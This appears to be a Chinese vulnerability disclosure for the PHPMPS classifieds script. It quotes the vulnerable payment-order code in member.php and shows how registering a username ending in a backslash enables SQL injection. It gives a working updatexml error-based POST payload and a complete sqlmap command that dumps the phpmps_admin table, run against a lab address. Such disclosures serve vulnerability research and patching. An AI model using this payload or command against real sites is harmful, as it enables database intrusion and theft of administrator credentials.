<ul><li>/member.php</li></ul><pre class="">case 'send':
$paycenter = trim($_POST['paycenter']);
$contactname = trim($_POST['contactname']);
$telephone = trim($_POST['telephone']);
$email = trim($_POST['email']);
$username = trim($_POST['username']);
$orderid = trim($_POST['orderid']);
$time = time();
$ip = get_ip();
$payonline_setting = get_pay_setting();
array_key_exists($paycenter, $payonline_setting) or showmsg('不存在此支付方式');
@extract($payonline_setting[$paycenter]);
setcookie('paycenter', $paycenter, time() + 3600*24*365);
$r = $db->getOne("SELECT payid FROM {$table}pay_online WHERE `orderid`='$orderid'");
if($r) showmsg('不要刷新');
$moneytype = 'CNY';
$amount = floatval($_POST['amount']);
$trade_fee = floatval($_POST['trade_fee']);
$db->query("INSERT INTO {$table}pay_online (`paycenter`,`username`,`orderid`,`moneytype`,`amount`,`trade_fee`,`contactname`,`telephone`,`email`,`sendtime`,`ip`) VALUES('$paycenter','$_username','$orderid','$moneytype','$amount','$trade_fee','$contactname','$telephone','$email','$time','$ip')");
$amount = $amount + $trade_fee;
require PHPMPS_ROOT.'include/payonline/'.$paycenter.'/send.php';
break;
</pre><p>当用户名有“\”时，会对单引号进行转义，导致注入。</p><p>注册用户名为：asdqwe\</p><p>POST</p><pre class="">orderid=,1,1,1,1,1,1,1,1,updatexml(1,concat(0x3a,user()),1))%23&paycenter=alipay</pre><p>到地址：</p><pre class="">http://10.211.55.12/phpmps/member.php?act=send</pre><p>页面返回： </p><p><img alt="DF59BB24-BA50-449D-80D1-BB947821ADEB.png" src="https://images.seebug.org/@/uploads/1435027694808-DF59BB24-BA50-449D-80D1-BB947821ADEB.png" data-image-size="748,117"><br></p><p>证明漏洞存在。</p><p>注册用户，用户名最后为“\”</p><p>使用SQLMAP，获取管理员的帐号密码。使用命令：</p><pre class="">python2.7 sqlmap.py -u "http://10.211.55.12/phpmps/member.php?act=send" --data="orderid=1&paycenter=alipay" -p orderid --cookie="paycenter=alipay; CNZZDATA1253530733=1498703928-1426748899-%7C1426827496; CNZZDATA1670348=cnzz_eid%3D1991671050-1426825764-%26ntime%3D1426825764; CNZZDATA1257137=cnzz_eid%3D1384490666-1427173890-%26ntime%3D1427179708; bdshare_firstime=1427696533158; AVbt_2132_saltkey=VcUKu21p; AVbt_2132_lastvisit=1428561539; PHPSESSID=4d5r8l2s63nf4macaljra2pjm0" --dbms=mysql --prefix=',1,1,1,1,1,1,1,1,' --suffix=')#' -D phpmps -T phpmps_admin –dump<span style="font-family: arial, sans-serif; font-size: 16px; line-height: 1.6; background-color: transparent;"> </span></pre><p><img alt="2F87A3A3-3F15-4DAD-B7AC-E1B180B3C136.png" src="https://images.seebug.org/@/uploads/1435027725328-2F87A3A3-3F15-4DAD-B7AC-E1B180B3C136.png" data-image-size="838,534"><br></p>
共 6 兑换
京公网安备 11010502034610号
暂无评论